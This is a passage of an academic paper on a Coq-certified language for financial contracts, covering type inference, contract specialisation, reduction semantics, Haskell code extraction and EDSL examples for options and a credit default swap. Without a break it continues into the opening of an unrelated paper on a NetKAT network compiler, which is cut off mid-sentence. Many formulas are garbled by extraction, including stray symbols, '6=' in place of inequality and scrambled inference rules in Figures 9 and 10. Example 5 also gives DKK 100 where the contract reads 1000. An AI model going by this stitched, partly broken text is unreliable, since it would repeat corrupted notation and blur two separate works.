ment Ì assigns contracts (and expressions) at most one type—
namely the maximal (resp. minimal) type according to the judge-
ment. Notice that contracts are typed with the extended set of time
indices set Z±∞ = Z ∪ {−∞,+∞}. The ordering ≤ is extended
to Z±∞ in the obvious way. Moreover, we define addition of el-
ements t ∈ Z±∞ with numbers d ∈ Z by −∞ + d = −∞,
+∞+ d = +∞, and otherwise as ordinary addition in Z.

We can then show that this type inference procedure is sound
and complete:

Theorem 8 (Type inference is sound and complete).

(i) If Γ Ì c : Contrt, then Γ  c : Contrs for all s ≤ t.
(ii) If Γ  c : Contrs, then Γ Ì c : Contrt for a unique t ≥ s.

Thus, according to Theorem 6, we obtain that if type inference
returns a type for a contract c, then c is causal.

Corollary 9. If ∅ Ì c : Contrt for some t, then c is causal.

The key ingredient for the simplicity of the type inference pro-
cedure is the closure under subtypes respectively supertypes as ex-
pressed in Lemma 7. This property will also be important in the
next section where we discuss contract transformations. Lemma 7
is crucial for showing that well-typing is preserved by contract
transformations, in particular contract specialisation and contract
reduction.

In the light of this observation, it is worthwhile reconsidering
the typing rule for the scaling combinator ×, in particular the
condition t ≤ t′. This condition seems odd at first. We could
get away with requiring t = t′. The resulting type system would

still entail causality and we would be able to give a sound and
complete type inference procedure. However, we would lose part
(ii) of Lemma 7. The condition t ≤ t′ in the typing rule for
× decouples the time indices of contract and expression types as
much as possible while still enforcing causality. This decoupling
is necessary due to the different interpretation of time indices for
expression types compared to contract types. This difference in
interpretation also manifests itself in the difference in the subtyping
behaviour described in Lemma 7.

Apart from this technical problem, changing the typing of ×
by requiring t′ = t, also has the severe practical consequence
that fewer contracts would be typeable. Among such contracts that
would not be typeable anymore are many realistic contracts that
one would expect to be typeable. For example, the contract

(obs(l, 0)× a(p→ q)) &(obs(l, 1)× 1 ↑ a(p→ q))

would not be typeable anymore.

4. Contract Transformations
The second important aspect of contract management is the trans-
formation of contracts according to the semantics. We will con-
sider two contract transformations, namely specialisation, which
partially evaluates a contract based on partial information about the
external environment, and advancement, which moves a contract
into the future. The second transformation can be considered an
operational semantics that is computationally adequate for the de-
notational semantics presented in Section 2.3.

These contract transformations are based on external knowledge
provided by a partial external environment, that is, on facts about
observables and external decisions, which become gradually avail-
able as time passes. To this end, we consider the set of partial ex-
ternal environments EnvP, a superset of Env:

EnvP = Labelτ × Z⇀ JτK

A contract c can be transformed based on a partial environment
ρ ∈ EnvP that encodes the available knowledge about observables
and decisions that may influence c, leading to a specialised or
advanced contract.

4.1 Contract Specialisation
The objective of specialisation is to simplify a given contract c
based on partial information about the external environment, that
is, based on knowledge about some of the observables and deci-
sions. The resulting contract c′ is equivalent to the original contract
c under any external environment that is compatible with the partial
external environment that was the input to the specialisation. The
primary application of specialisation is the instantiation of a con-
tract to a concrete starting time. A contract may refer to values of
observables before the starting time of the contract. Specialisation
allows us to instantiate such contracts with these known values of
observables. Beyond this simple application, specialisation of ex-
pressions is also a crucial ingredient for the reduction semantics in
Section 4.2.

Before we can define specialisation more formally, we need to
introduce some terminology: An environment ρ′ ∈ Env extends
a partial environment ρ ∈ EnvP iff ρ(l, t) = ρ′(l, t) for all
(l, t) ∈ dom(ρ). Furthermore, we define the set of partial variable
assignments JΓKP for a type environment Γ as the set of all partial
mappings γ from variable names into R ∪ B such that γ(x) ∈ JτK
if x : τ ∈ Γ. That is, a partial variable assignment may not assign a
value to all variables in Γ. A variable assignment γ′ ∈ JΓK extends
a partial variable assignment γ ∈ JΓKP iff γ(x) = γ′(x) for all
x ∈ dom(γ).

Given Γ ` c1 : Contr, Γ ` c2 : Contr, γ ∈ JΓKP, and ρ ∈
EnvP, we say that c1 and c2 are γ, ρ-equivalent, written c1 ≡γ,ρ c2,
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spC(c, γ, ρ) =

c if c = ∅ ∨ c = a(p→ q)

let x = e′

in spC(c′, γ′, ρ)
if c = (let x = e in c′) ∧
e′ = spE(e, γ, ρ) ∧

γ′ =

{
γ[x 7→ e′] if e′∈ R ∪ B
γ otherwise

spE(e, γ, ρ)× spC(c′, γ, ρ) if c = e× c′

l ↑ spC(c′, γ, ρ/d) if c = d ↑ c′

spC(c1, γ, ρ) & spC(c2, γ, ρ) if c = c1 & c2
trav(γ, ρ, b, c1, c2, 0, d, c) if c = if b within d

then c1 else c2

trav(γ, ρ, b, c1, c2, d
′, d, c) =

d′ ↑ spC(c1, γ, ρ) if spE(b, γ, ρ) = true

d′ ↑ spC(c2, γ, ρ) if spE(b, γ, ρ) = false ∧ d = 0

trav(γ, ρ/1, b, c1, c2,
d′ + 1, d− 1, c)

if spE(b, γ, ρ) = false ∧ d > 0

c otherwise

Figure 9. Contract specialisation function spC.

iff C Jc1Kγ′,ρ′ = C Jc2Kγ′,ρ′ for all γ′ ∈ JΓK and ρ′ ∈ Env
that extend γ and ρ, respectively. The specialisation function spC
takes an external environment ρ and a variable assignment γ, and
transforms a contract c into a contract c′ with c ≡γ,ρ c′.

In order to implement such a function spC, we also need a cor-
responding specialisation function spE on expressions. To this end,
we define a corresponding notion of γ, ρ-equivalence on expres-
sions: Given Γ ` e1 : τ , Γ ` e2 : τ , γ ∈ JΓKP, and ρ ∈ EnvP,
we say that e1 and e2 are γ, ρ-equivalent, written e1 ≡γ,ρ e2, iff
E Je1Kγ′,ρ′ = E Je2Kγ′,ρ′ for all γ′ ∈ JΓK and ρ′ ∈ Env that extend
γ and ρ, respectively.

The definition of spC is given in Figure 9. We have elided the
definition of spE, which is straightforward and can be found in
the Coq source files associated with this paper. The definition of
spC uses underlined versions of ×, ↑, & and let. These are smart
constructors for the corresponding contract language construct.
They are functions that construct a contract that is equivalent to the
contract that would have been constructed if we used the original
contract language construct. But in addition it tries to simplify the
contract. For instance, × is defined as follows:

e× c =


c if e = 1

∅ if e = 0 ∨ c = ∅
e× c otherwise

The other smart constructors work similarly. In particular, let x =
e in c is equal to c if there is no free occurrence of x in c.

Moreover, spC uses an auxiliary function trav, also defined in
Figure 9, which tries to simplify the if-within construct.

Example 5. Reconsider the CDS contract from Example 4. We
want to see what happens if party X defaults. To this end, we
define the partial environment ρ such that ρ(X defaults, i) = true
if i = 15, ρ(X defaults, i) = false if i 6= 15, and otherwise ρ is
undefined. In other words, we assume that party X defaults after
15 days: with this input, spC transforms the contract into

(10× DKK(Y → Z)) & (15 ↑ 900× DKK(Z → Y ))

That is, Y pays Z DKK 10 today and Z pays Y DKK 900 in
15 days. On the other hand, if X does not default, that is, if

ρ(X defaults, i) = false for all i, then spC transforms the contract
into

(30 ↑ 1000× DKK(X → Y )) & (10× DKK(Y → Z))

That is, Y pays Z DKK 10 today and X pays Y DKK 100 in 30
days.

We can show that spC and spE indeed implement specialisation
of contracts and expressions, respectively:

Theorem 10. Let Γ be a typing environment, γ ∈ JΓKP, and
ρ ∈ EnvP.

(i) Given Γ ` e : τ , we have that spE(e, γ, ρ) ≡γ,ρ e.
(ii) Given Γ ` c : Contr, we have that spC(c, γ, ρ) ≡γ,ρ c.

In particular, we have that specialisation preserves the typing,
that is, Γ ` c : Contr implies that Γ ` spC(c, γ, ρ) : Contr, and
analogously for the refined type system.

4.2 Reduction Semantics and Contract Advancement
In addition to the denotational semantics, we equip the contract
language with a reduction semantics [2], which advances a contract
by one time unit. This reduction semantics allows us to modify
a contract according to the passage of time and the knowledge
of observables that gradually becomes available. In addition, the
reduction semantics will tell us the concrete asset transfers that
have to occur according to the contract.

We write c T
=⇒ρ c′, to denote that c is advanced to c′ in the

partial environment ρ ∈ EnvP, where T ∈ Trans represents the
transfers that the contract c stipulates during this time unit, and c′

is the contract that describes all remaining obligations except these
transfers (both under the assumptions represented by ρ). In order
to define T

=⇒ρ, we have to generalise it such that it works on open
contracts as well. To this end, we also index the relation with a
partial variable assignment γ. In sum, the reduction semantics is a
relation written as c T

=⇒γ,ρ c
′, and we use the notation c T

=⇒ρ c
′ for

the special case that γ is the empty variable assignment. The full
definition of the reduction semantics is given in Figure 10.

We can show that the reduction semantics is computationally
adequate w.r.t. the denotational semantics. In order to express this
property, we need the notion that partial environment ρ ∈ EnvP is
historically complete. By this we mean that ρ(l, i) is defined for all
l ∈ Label and i ≤ 0. In other words, we have complete knowledge
about the past. For the sake of a clearer presentation, we formulate
the adequacy property in terms of closed contracts only:

Theorem 11 (Computational adequacy of T
=⇒ρ). Let  c : Contrt

and ρ ∈ EnvP.

(i) If c T
=⇒ρ c

′, then the following holds for all ρ′ that extend ρ:
(a) C JcKρ′ (0) = T , and
(b) C JcKρ′ (i+ 1) = C Jc′Kρ′/1 (i) for all i ∈ N,

(ii) If c T
=⇒ρ c

′, then  c′ : Contrt−1.
(iii) If ρ is historically complete, then there is a unique c′ such that

c
T
=⇒ρ c

′ and T = C JcKρ (0).

Property (i) expresses that the reduction semantics is sound; (ii)
expresses type preservation, and (iii) expresses a progress property.

Combining the three individual properties above, and special-
ising it to total environments ρ ∈ Env, we can conclude that any
well-typed contract yields an infinite reduction sequence, which re-
veals the contract’s complete denotational semantics:

c
CJcKρ(0)
=====⇒ρ c0

CJcKρ(1)
=====⇒ρ/1 c1

CJcKρ(2)
=====⇒ρ/2 . . .
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c
T
=⇒γ,ρ c

′

0 ↑ c T
=⇒γ,ρ c′ ∅ T0=⇒γ,ρ ∅ a(p→ q)

Tp,q,a
====⇒γ,ρ ∅

d > 0

d ↑ c T0=⇒ρ d− 1 ↑ c

c
T
=⇒γ,ρ c

′ r = spE(e, γ, ρ) r ∈ R

e× c r∗T
==⇒γ,ρ r× c′

ci
Ti=⇒γ,ρ ci

c1 & c2
T1+T2====⇒γ,ρ c1 & c2

c
T0=⇒γ,ρ c

′ e′ = spE(e, γ, ρ)

e× c T0=⇒γ,ρ (−1 ⇑ e′)× c′

spE(e, γ, ρ) = e′

c
T
=⇒γ′,ρ c

′
γ′ =

{
γ[x 7→ e′] if e′ ∈ R ∪ B
γ otherwise

let x = e in c
T
=⇒γ,ρ let x = −1 ⇑ e′ in c

spE(e, γ, ρ) = false c2
T
=⇒γ,ρ c

′

if e within 0 then c1 else c2
T
=⇒γ,ρ c′

spE(e, γ, ρ) = true c2
T
=⇒γ,ρ c

′

if e within d then c1 else c2
T
=⇒γ,ρ c′

spE(e, γ, ρ) = false d > 0

if e within d
then c1 else c2

T0=⇒γ,ρ
if e within d− 1
then c1 else c2

where T0 = λt.0 r ∗ T = λt.r · T (t)

T1 + T2 = λt.T1(t) + T2(t)

Tp,q,a = λ(p′, q′, a′).


1 if (p′, q′, a′) = (p, q, a)

−1 if (p′, q′, a′) = (q, p, a)

0 otherwise

Figure 10. Contract reduction semantics.

Because contracts have a finite horizon (see Section 3.1), we know
that there is some n ∈ N such that ci ≡ ∅ for all i ≥ n. In addition,
one can show that there is some n ∈ N such that ci = ∅ for all
i ≥ n.

It is intuitively expected that we require a contract c to be
causal in order to obtain a reduction c

T
=⇒ρ c′, given that ρ is

only historically complete. For instance, given the contract c1 =
obs(l, 1) × a(p→ q), which is clearly not causal, we do not
know its cash-flow T at time 0 given only knowledge about the
environment at time 0 and earlier, since T depends on the value of
the observable l at time 1.

However, even causality is not enough, and indeed our progress
result in Theorem 11 requires well-typing. In fact, we cannot hope
to devise a compositional reduction semantics that is adequate for
all causal contracts. The problem is that causality is not a composi-
tional property! For example, similarly to the contract c1, also the
contract c2 = obs(l, 1) × a(q → p) is not causal. However, the
contract c1 & c2 is equivalent to ∅ and thus is causal. Therefore,
being able to capture a conservative notion of causality that is com-
positional, for example, in the form of well-typing, is crucial for
the computational adequacy of the reduction semantics.

A central lemma for proving property (iii) of Theorem 11, is
that the specialisation function spE is complete in the sense that it
yields a literal if given a partial environment and a partial variable
assignment that is “sufficiently defined”. More concretely, we have
that if Γ  e : τ t, then spE(e, γ, ρ) ∈ JτK, given that ρ ∈ EnvP

and γ ∈ JΓKP are sufficiently defined. The “sufficiently defined”
condition is dependent on the typing of e. It requires that γ(x) is
defined whenever x : σs ∈ Γ and s ≤ t, and that ρ(l, i) is defined
whenever i ≤ t. In other words, γ and ρ satisfy the temporal
dependencies implicated by the typing Γ  e : τ t.

In order to make the reduction semantics practically useful, we
implement it in the form of a function adv that takes a contract
c, a partial variable assignment γ, and a partial external environ-
ment ρ and returns a contract c′ together with the transfer function
T ∈ Trans such that c T

=⇒γ,ρ c′. The function adv can be im-
plemented by transcribing the inference rules from Figure 10 into
a function definition. However, we have to make a small change
in order to obtain an effectively computable function. The issue
is the second rule for contracts of the form e × c. To implement
this rule we have to check whether the derived transfer function
for the contract c is equal to T0, the empty transfer function. This
is undecidable if we use the full function space Trans of transfer
functions. However, transfer functions T that are the result of the
semantics of a contract have finite support, that is, T (t) 6= 0 for
only finitely many t. Hence, we can represent transfer functions
using finite maps, with which we can efficiently check whether a
transfer function is the empty transfer function T0. The implemen-
tation for adv can be found in the associated Coq source code along
with the proof that it adequately implements the reduction seman-
tics. The implementation also makes use of the antisymmetry of
transfer functions, that is, the fact that T (p, q, a) = −T (q, p, a)
(cf. Lemma 2), by only storing one of the values T (p, q, a) and
T (q, p, a).

5. Coq Formalisation and Code Extraction
We have formalised the contract language in the Coq theorem
prover. To this end, we have chosen an extrinsically typed repre-
sentation using de Bruijn indices. That is, the abstract syntax of
contracts and expressions is represented as simple inductive data
types and the typing rules are given separately as inductive predi-
cate definitions.

The use of extrinsic typing—as opposed to intrinsic typing,
where the type system of the meta language is used to encode the
object language’s type system—has two important benefits. First
of all, we have two different type systems: the simple type system
from Figure 2 and the time-indexed type system from Figure 7.
With intrinsic typing, we would need to choose a single one. Sec-
ondly, the types representing the abstract syntax of contracts and
expressions are simple algebraic data types. Coq’s built-in code ex-
traction to generate Haskell or OCaml code does not work very well
outside of the realm of algebraic data types—extraction is, at best,
difficult with general inductive type families.

The use of extrinsic typing has some drawbacks, though. Some
functions that are total on well-typed contracts (e.g., the denota-
tional semantics) are only partial on untyped contracts. Transfor-
mations such as contract specialisation and advancement require a
separate proof showing that well-typing is preserved.

All propositions and theorems given in Sections 2, 3, and 4 were
proved using our formalisation in Coq. In the remainder of this
section, we describe how executable Haskell code is produced from
this formalisation. The resulting Haskell implementation provides
an embedded domain-specific language to write concrete contracts
and exposes the contract analysis and management functionality
that we discussed in Sections 3 and 4.

5.1 Generating Certified Code
Our goal is to obtain a certified contract management engine imple-
mented in Haskell. That is, the implementation should satisfy the
properties that we have proved in Coq. While ideally, one would
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like the entire software stack (and even hardware stack) on which
contracts are being managed to be certified, there are several non-
certified components involved: The generated Haskell code has
been compiled with a non-certified Haskell compiler and runs un-
der a non-certified runtime system, most likely on top of a non-
certified operating system. Another component that must be trusted
is Coq’s code extraction itself (which has been addressed to some
extent [23]). Our work requires trust in these lower-level compo-
nents.

Instead of extracting Haskell code for types and functions from
Coq’s standard library, such as list and option, we map these
to the corresponding implementations in Haskell’s standard library.
Coq’s code extraction facility provides corresponding customisa-
tion features that allow this mapping. In addition, our Coq formal-
isation uses axiomatised abstract types, that is, types that are only
given by their properties, and we can thus not extract code for them.
Examples are the types for assets, parties and finite maps as well as
the type of real numbers. We use the same customisation mecha-
nism to map these types to corresponding types in Haskell.

Code extraction from Coq into Haskell (or OCaml) does not
simply translate function and type definitions from one language to
another. It also elides logical parts, that is, those of sort Prop. Using
data types containing proofs and defining functions that operate on
them can be useful for establishing invariants that are maintained by
those functions. In many cases, this simplifies the proofs drastically.
Code extraction strips those “embedded” proofs from the code.

5.2 Implementing an Embedded Domain-Specific Language
In order to make the contract language usable, we need to provide a
front end that allows the user to write contracts in a convenient sur-
face syntax. In particular, we do not want the user to write contracts
using de Bruijn indices. Instead of writing a parser that translates
the surface syntax into abstract syntax, we have implemented the
contract language as an embedded domain-specific language. This
approach allows us to provide a contract management framework
with minimal effort. In addition, the approach leads to less uncerti-
fied code.

In order to build a combinator library to construct contracts and
expressions, we use the approach of Atkey et al. [5]. This approach
allows us to provide a combinator library that uses higher-order ab-
stract syntax (HOAS) to represent variable binders. For example,
expressions are represented by a type Int → Expr, where Expr is
the type of expressions extracted from the Coq formalisation and
the integer argument is used to keep track of the levels of nested
variable binders. In addition, this approach uses type classes in or-
der to keep the representation abstract. This abstraction ensures
parametricity, which is needed in order to guarantee that the rep-
resentation of binders is adequate. The interface of the resulting
Haskell combinator library is given in Figure 11.

The type classes E and C are used to provide an abstract inter-
face for constructing expressions and contracts, respectively. The
use of these two type classes allows us to use types of the form
exp t both for expressions and for bound variables (cf. the type
signatures of acc and letc in Figure 11). The type Contr represents
closed contracts. In addition, we use the types R and B to indicate
that an expression is of type Real or Bool, respectively. We can also
use Haskell decimal literals to write Real-typed literals in the ex-
pression language as well as the built-in if-then-else construct both
for expression- and contract-level conditionals (i.e., if-within).

Figure 12 illustrates the use of the combinators. It shows a
complete Haskell file that imports the contract library and defines
two contracts: the Asian and the American option that we have
presented in Section 2.1.

Figure 13 shows a more complex contract expressed in the
Haskell EDSL: it describes a bond that is insured by a credit de-

−− Expresssions
acc :: E exp ⇒ (exp t → exp t ) → Int → exp t → exp t
rObs :: E exp ⇒ RealObs→ Int → exp R
bObs :: E exp ⇒ BoolObs→ Int → exp B

max, min, (+), (∗), (/), (−) :: E exp ⇒ exp R→ exp R→ exp R
(==), (<), (≤ ), (>), (>), (≥) :: E exp ⇒ exp R→ exp R→ exp B

(&&), ( | | ) :: E exp ⇒ exp B→ exp B→ exp B
not :: E exp ⇒ exp B→ exp B
false , true :: E exp ⇒ exp B

−− Contracts
type Contr = forall exp contr . C exp contr ⇒ contr

transfer :: C exp contr ⇒ Party → Party → Asset → contr
zero :: C exp contr ⇒ contr
letc :: C exp contr ⇒ exp t → (exp t → contr ) → contr
(&) :: C exp contr ⇒ contr → contr → contr
(!) :: C exp contr ⇒ Int → contr → contr
(#) :: C exp contr ⇒ exp R→ contr → contr
ifWithin :: C exp contr ⇒ exp B→ Int → contr → contr → contr

−− Contract management
horizon :: Contr → Int
welltyped :: Contr → Bool
advance :: Contr → ExtEnvP→ (Contr, FMap)
specialise :: Contr → ExtEnvP→ Contr

Figure 11. Interface for the Haskell extracted contract library.

{−# LANGUAGE RebindableSyntax #−}

import RebindableEDSL

asian :: Contr
asian = 90 ! if bObs (Decision X " exercise ") 0

then 100 # ( transfer Y X USD &
( rate # transfer X Y DKK))

else zero
where rate = (acc (λr → r +

rObs (FX USD DKK) 0) 30 0) / 30

american :: Contr
american = if bObs (Decision X " exercise ") 0 ‘ within ‘ 90

then 100 # ( transfer Y X USD &
(6.23 # transfer X Y DKK))

else zero

Figure 12. Complete Haskell code for Asian and American option.

fault swap (CDS). We have already seen a similar—but simpler—
contract in Example 4, where we considered a CDS for a zero-
coupon bond. The contract in Figure 13 describes a bond that pays
a monthly interest during the 12 months term of the bond. Also the
CDS is different: the buyer has to pay a monthly premium instead
of a single up-front premium.

6. Related Work
Contract Languages. Research on formal contract languages can
be traced back to the work of Lee [21] on electronic contracts. Since
then, many different approaches have been studied. An overview
over this broad area of contract formalisms can be found in the
surveys by Hvitved [13, 14].

Most relevant to our work is the pioneering work on finan-
cial contracts by Peyton Jones et al. [28]. This work has evolved
into the company LexiFi, which has implemented the techniques
on top of their MLFi variant of OCaml [24]. The resulting con-
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{−# LANGUAGE RebindableSyntax #−}

import RebindableEDSL

bondCDS :: Contr
bondCDS = bond (12 :: Int ) DKK 10 1000 Y X

& cds (12 :: Int ) DKK 9 1000 Y Z X

cds months cur premium comp buyer seller ref = step months
where step i = if i ≤ 0 then zero

else premium # transfer buyer seller cur &
if bObs (Default ref ) 0 ‘ within ‘ 30
then comp # transfer seller buyer cur
else step ( i−1)

bond months cur inter nom holder issuer = step months
where step i = if i ≤ 0

then nom # transfer issuer holder cur
else inter # transfer issuer holder cur &
if bObs (Default issuer ) 0 ‘ within ‘ 30
then zero
else step ( i−1)

Figure 13. Complete Haskell code for a CDS for a bond.

tract management platform runs worldwide in many financial in-
stitutions through its integration in key financial institutions, such
as Bloomberg5, and with large asset-management platforms, such
as SimCorp Dimension [30], a comprehensive asset-management
platform for financial institutions.

Based also on earlier work on contract languages [3], in the
last decade, domain specific languages for contract specifications
have been widely adopted by the financial industry, in particular in
the form of payoff languages, such as the payoff language used by
Barclays [9]. It has thus become well-known that domain specific
languages for contract management result in more agility, shorter
time-to-market for new products, and increased assurance of soft-
ware quality. See also [1] for an overview of resources related to
domain specific languages for the financial domain.

Multi-party contracts have been investigated earlier in the work
by Andersen et al. [2] and Henglein et al. [11] on establishing a
formal transaction system for enterprise resource planning (ERP).
In this line of work, the contract language resembles a process
calculus, which is used to match up concrete transactions with
abstract specifications of transactions agreed upon in a contract.
The absence of explicit observables in these languages avoids the
issue of syntactically expressible contracts that are not causal.

Semantics. We equipped our contract language with a denota-
tional semantics as well as an operational semantics in the form
of a reduction relation. Likewise, Peyton Jones et al. [28] consid-
ered a denotational semantics, however, their semantics is based on
stochastic processes. Our denotational semantics draws from pre-
vious work on trace-based contract formalisms [2, 15, 20]. How-
ever, in order to accommodate the financial domain we needed to
add observables to the language and consequently the semantics.
While many financial contracts can be formulated without observ-
ables, we found examples—such as double barrier options—that
we were not able to express without observables.

In a later version of their work, Peyton-Jones and Eber also
sketched an operational semantics for contract management [27].
A full reduction semantics is given by Andersen et al. [2] as well

5 Press release available at http://www.lexifi.com/clients/press_
release_en/bloomberg.

as Hvitved et al. [15] along with proofs of their adequacy with
respect to the corresponding denotational semantics. The absence
of observables in the work of Andersen et al. [2] and Hvitved
et al. [15] simplifies the reduction semantics: there is no need to
partially evaluate expressions and it is syntactically impossible to
write contracts that are not causal.

A different semantic approach that we did not discuss in this
paper is an axiomatic semantics. Such an axiomatic treatment has
been studied by Schuldenzucker [29]. Interestingly, this axiomati-
sation of two-party contracts is not based on equality of contracts
but rather an order ≤ on contracts. Equality of contracts is then
derived from the order ≤.

Software Verification and Certified Software. In the course of
the last decade, formal software verification has grown into a ma-
ture technology. It has been applied to realistic software systems
such as compilers [22] and operating system kernels [18]. The use
of code extraction to obtain executable code from a formally veri-
fied implementation is an established technique in the community
[7, 10, 23]. Despite the demonstrated feasibility of verification of
critical pieces of software, we have yet to see adoption of this tech-
nology for financial software in general and for financial contract
languages in particular.

The only application of formal software verification in the fi-
nancial sector we have seen so far is Imandra [16], which has been
recently developed by the financial technology startup Aesthetic In-
tegration. The core of Imandra is a modelling language for describ-
ing financial algorithms. According to Aesthetic Integration, the
modelling language has both a formal semantics—for the purpose
of formal reasoning—and an executable semantics—for producing
executable code. The formal verification capabilities that the Iman-
dra system provides are limited to automated reasoning provided
by an SMT solver specialised to the financial domain. While this
setup limits the system’s reasoning power compared to the above-
mentioned software verification efforts that use proof assistants, the
use of automatic reasoning lowers the burden for proving properties
substantially.

Type Systems. The use of type systems to guarantee certain tem-
poral properties of programs has been extensively studied in the
literature. Most work in this direction stems from applying the
Curry-Howard correspondence to linear-time temporal logic (LTL)
or fragments thereof: Davies [8] devises a constructive variant of
LTL and uses it as a type system for binding time analysis. Apart
from the temporal ‘next’ modality, Davies’s system also features
time-indexing of the typing judgement and the variables in the typ-
ing context. Jeffrey [17] embeds LTL into a dependently typed pro-
gramming language to type functional reactive programs. However,
his underlying model of reactive types is much more expressive
than plain LTL and, for example, allows him to define the function
space of causal functions. Krishnaswami and Benton [19] present
a type system for functional reactive programs using time-indexed
types similar to ours. But in addition, they also have a ‘next’ modal-
ity inspired by Nakano’s calculus for guarded recursion [25]. More
recently, Atkey and McBride [4] extended Nakano’s calculus with
clock variables for practical programming with coinductive types.
Considering the special case of streams (as coinductive types), the
type system of Atkey and McBride ensures that all stream transfor-
mations satisfy the causality principle.

7. Conclusions and Future Work
We have presented a symbolic framework for modelling finan-
cial contracts that is capable of expressing common FX and other
derivatives. The framework describes multi-party contracts and can
therefore model entire portfolios for holistic risk analysis and man-
agement purposes. Contracts can be analysed for their temporal
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dependencies and horizon, and gradually evolved until the hori-
zon has been reached, following a reduction semantics based on
gradually-available external knowledge in an environment.

Our contract language is implemented using the Coq proof
assistant, which enables us to certify the intended properties of
our contract analyses and transformations against the denotational
cash-flow trace semantics. We used Coq’s code extraction function-
ality to derive a Haskell implementation from the Coq formalisa-
tion. The resulting Haskell module can be used as a certified core
of a portfolio management framework.

As future work, we plan to explore and model more symbolic
contract transformations that are central to day-to-day contract
management, and to extend the contract analyses with features
relevant for contract valuation. We are also considering general-
ising contracts to use continuous time instead of discrete time.
That is, the denotational semantics of contracts is a function of
type R → Trans instead of N → Trans. We conjecture that the
transformations and analyses can still be performed in this gen-
eralised setting. For specialisation and advancement, we would
have to make additional assumptions about how the partial exter-
nal environments—which are input to these transformations—are
represented. A reasonable choice would be to assume that partial
external environments are given as a finite sampling.

Another natural extension of the language is an iteration com-
binator iter that behaves like the accumulation combinator acc,
but works on contracts instead of expressions. Such a combinator
would allow us to express concisely contracts with repetition, such
as the bond and CDS example from Figure 13. Currently, we rely
on the meta language (i.e., Haskell) to construct such contracts.
The contracts are represented in our core contract language and all
of our contract management tools apply to them. However, the iter
combinator would provide a more compact representation.

Our contract language can only express contracts with a finite
horizon, which covers most practically relevant financial contracts.
Although uncommon, there are financial contracts that are perpet-
ual (e.g., perpetual bonds such as UK World War I bonds). To ex-
press such contracts, we would need to extend the contract lan-
guage, for instance, with an if-within construct with unbounded
horizon or an unbounded version of the iter combinator.

Finally, we are interested in exploring the possibility of bridging
symbolic techniques with numerical methods, such as stochastic
and closed-form contract valuation (which is probably the most
important use case of contract DSLs in general). Our contract
analyses are geared towards identifying the external entities that
need to be modelled in a pricing engine and we are currently
working on deploying the certified contract engine in a contract
and portfolio pricing and risk calculation prototype [26].
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Abstract
High-level programming languages play a key role in a growing
number of networking platforms, streamlining application develop-
ment and enabling precise formal reasoning about network behav-
ior. Unfortunately, current compilers only handle “local” programs
that specify behavior in terms of hop-by-hop forwarding behav-
ior, or modest extensions such as simple paths. To encode richer
“global” behaviors, programmers must add extra state—something
that is tricky to get right and makes programs harder to write
and maintain. Making matters worse, existing compilers can take
tens of minutes to generate the forwarding state for the network,
even on relatively small inputs. This forces programmers to waste
time working around performance issues or even revert to using
hardware-level APIs.

This paper presents a new compiler for the NetKAT language
that handles rich features including regular paths and virtual net-
works, and yet is several orders of magnitude faster than previous
compilers. The compiler uses symbolic automata to calculate the
extra state needed to implement “global” programs, and an inter-
mediate representation based on binary decision diagrams to dra-
matically improve performance. We describe the design and imple-
mentation of three essential compiler stages: from virtual programs
(which specify behavior in terms of virtual topologies) to global
programs (which specify network-wide behavior in terms of phys-
ical topologies), from global programs to local programs (which
specify behavior in terms of single-switch behavior), and from local
programs to hardware-level forwarding tables. We present results
from experiments on real-world benchmarks that quantify perfor-
mance in terms of compilation time and forwarding table size.

Categories and Subject Descriptors D.3.4 [Programming Lan-
guages]: Processors—Compilers

Keywords Software-defined networking, domain-specific lan-
guages, NetKAT, Frenetic, Kleene Algebra with tests, virtualiza-
tion, binary decision diagrams.

1. Introduction
High-level languages are playing a key role in a growing num-
ber of networking platforms being developed in academia and in-
dustry. There are many examples: VMware uses nlog, a declara-

∗Work performed at Cornell University.

tive language based on Datalog, to implement network virtualiza-
tion [19]; SDX uses Pyretic to combine programs provided by dif-
ferent participants at Internet exchange points [13, 25]; PANE uses
NetCore to allow end-hosts to participate in network management
decisions [9, 24]; Flowlog offers tierless abstractions based on Dat-
alog [26]; Maple allows packet-processing functions to be speci-
fied directly in Haskell or Java [33]; OpenDaylight’s group-based
policies describe the state of the network in terms of application-
level connectivity requirements [29]; and ONOS provides an “intent
framework” that encodes constraints on end-to-end paths [28].

The details of these languages differ, but they all offer abstrac-
tions that enable thinking about the behavior of a network in terms
of high-level constructs such as packet-processing functions rather
than low-level switch configurations. To bridge the gap between
these abstractions and the underlying hardware, the compilers for
these languages map source programs into forwarding rules that
can be installed in the hardware tables maintained by software-
defined networking (SDN) switches.

Unfortunately, most compilers for SDN languages only handle
“local” programs in which the intended behavior of the network is
specified in terms of hop-by-hop processing on individual switches.
A few support richer features such as end-to-end paths and net-
work virtualization [19, 28, 33], but to the best of our knowledge,
no prior work has presented a complete description of the algo-
rithms one would use to generate the forwarding state needed to
implement these features. For example, although NetKAT includes
primitives that can be used to succinctly specify global behaviors
including regular paths, the existing compiler only handles a lo-
cal fragment [4]. This means that programmers can only use a re-
stricted subset that is strictly less expressive than the full language
and must manually manage the state needed to implement network-
wide paths, virtual networks, and other similar features.

Another limitation of current compilers is that they are based on
algorithms that perform poorly at scale. For example, the NetCore,
NetKAT, PANE, and Pyretic compilers use a simple translation to
forwarding tables, where primitive constructs are mapped directly
to small tables and other constructs are mapped to algebraic opera-
tors on forwarding tables. This approach quickly becomes imprac-
tical as the size of the generated tables can grow exponentially with
the size of the program! This is a problem for platforms that rely
on high-level languages to express control application logic, as a
slow compiler can hinder the ability of the platform to effectively
monitor and react to changing network state.

Indeed, to work around the performance issues in the current
Pyretic compiler, the developers of SDX [13] extended the language
in several ways, including adding a new low-cost composition oper-
ator that implements the disjoint union of packet-processing func-
tions. The idea was that the implementation of the disjoint union
operator could use a linear algorithm that simply concatenates the
forwarding tables for each function rather than using the usual
quadratic algorithm that does an all-pairs intersection between the
entries in each table. However, even with this and other optimiza-
tions, the Pyretic compiler still took tens of minutes to generate the
forwarding state for inputs of modest size.
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Our approach. This paper presents a new compiler pipeline for
NetKAT that handles local programs executing on a single switch,
global programs that utilize the full expressive power of the lan-
guage, and even programs written against virtual topologies. The
algorithms that make up this pipeline are orders of magnitude faster
than previous approaches—e.g., our system takes two seconds to
compile the largest SDX benchmarks, versus several minutes in
Pyretic, and other benchmarks demonstrate that our compiler is
able to handle large inputs far beyond the scope of its competitors.

These results stem from a few key insights. First, to compile lo-
cal programs, we exploit a novel intermediate representation based
on binary decision diagrams (BDDs). This representation avoids
the combinatorial explosion inherent in approaches based on for-
warding tables and allows our compiler to leverage well-known
techniques for representing and transforming BDDs. Second, to
